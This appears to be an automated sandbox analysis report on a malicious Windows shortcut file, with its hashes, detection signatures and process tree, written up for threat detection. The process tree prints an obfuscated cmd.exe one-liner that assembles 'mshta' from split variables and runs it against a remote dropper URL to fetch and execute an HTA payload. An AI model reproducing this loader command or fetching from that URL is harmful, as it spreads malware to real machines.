Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-HH0WZ4.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-HH0WZ4.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-HH0WZ4.lnk
- Size 1KB
- Sample260804-kgdldsvhpf
- SHA256 7919baab6586862aa72f1f5703551b217ae98b91e0827a2b470186cab4c27502
- MD5 9e5c838b8f722772b501000b014c75ae
- SHA1 ad3cadff9409f210e4eb47b16142d811bb0bdb55
- SHA512 b7243f2f8078119b8a8fbba1bbe558fff6e1753584934df4149bad03a8ebeb689a5944b2d50f10dad3237b7f3d8ee1320e33363aecb31afa08afaf29fbb98ac4
- TLSH T1F731CB503FEC0624F3F78F7794BB572089BFB8568E20CA2E4041460C5436A15E13AFAB
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5904 cmd.exe 3804 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5904 wrote to memory of 3804 5904 cmd.exe 90 PID 3804 wrote to memory of 1592 3804 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HH0WZ4.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5904 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set uUJ=msh&&set pzS=ta&&start "" !uUJ!!pzS! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1592
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